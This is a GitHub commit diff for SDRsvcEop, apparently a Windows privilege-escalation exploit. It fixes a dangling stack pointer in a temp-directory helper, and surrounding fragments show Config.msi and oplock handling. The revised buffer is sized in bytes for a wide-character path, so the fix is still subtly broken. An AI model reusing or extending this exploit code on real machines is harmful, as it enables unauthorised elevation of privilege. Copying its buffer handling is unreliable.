Skip to content

Commit

Permalink
bug fixed about invalid GetTmpDir function return value due to local …
Browse files Browse the repository at this point in the history
…variable memory was release when call stack dead
  • Loading branch information
bopin2020 committed Jan 13, 2023
1 parent c910376 commit b89b7f1
Show file tree
Hide file tree
Showing 2 changed files with 6 additions and 5 deletions.
2 changes: 1 addition & 1 deletion v2/SDRsvcEop/def.h
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ void cb1();
BOOL Trigger();
VOID Fail();
DWORD WINAPI install(void*);
LPWSTR GetTmpDir();
VOID GetTmpDir(LPWSTR dir);
BOOL Move(HANDLE);
VOID FindFile(HANDLE hDir);
LPWSTR BuildPath(LPCWSTR path);
Expand Down
9 changes: 5 additions & 4 deletions v2/SDRsvcEop/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,9 @@ int wmain(int argc, wchar_t** argv)
return 1;
}
printf("[+] Config.msi directory created!\n");
dir = GetTmpDir();
dir = (LPWSTR)malloc(MAX_PATH);
ZeroMemory(dir, MAX_PATH);
GetTmpDir(dir);
printf("[*] Directory: %ls\n", dir);
if (!CreateDirectory(dir, NULL)) {
printf("[!] Cannot create %ls directory!\n", dir);
Expand Down Expand Up @@ -314,7 +316,7 @@ VOID FindFile(HANDLE hDidr) {
delete oplock;
}
}
LPWSTR GetTmpDir() {
VOID GetTmpDir(LPWSTR dir) {
LPWSTR username;
DWORD szUsername = 0;
WCHAR path[MAX_PATH] = { 0x0 };
Expand All @@ -327,8 +329,7 @@ LPWSTR GetTmpDir() {
username = (LPWSTR)malloc(szUsername);
GetUserName(username, &szUsername);
swprintf(path, L"C:\\users\\%s\\appdata\\local\\temp\\%s", username, str_uuid);

return path;
StrCatW(dir, path);
}
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {
UNICODE_STRING ufile;
Expand Down

0 comments on commit b89b7f1

Please sign in to comment.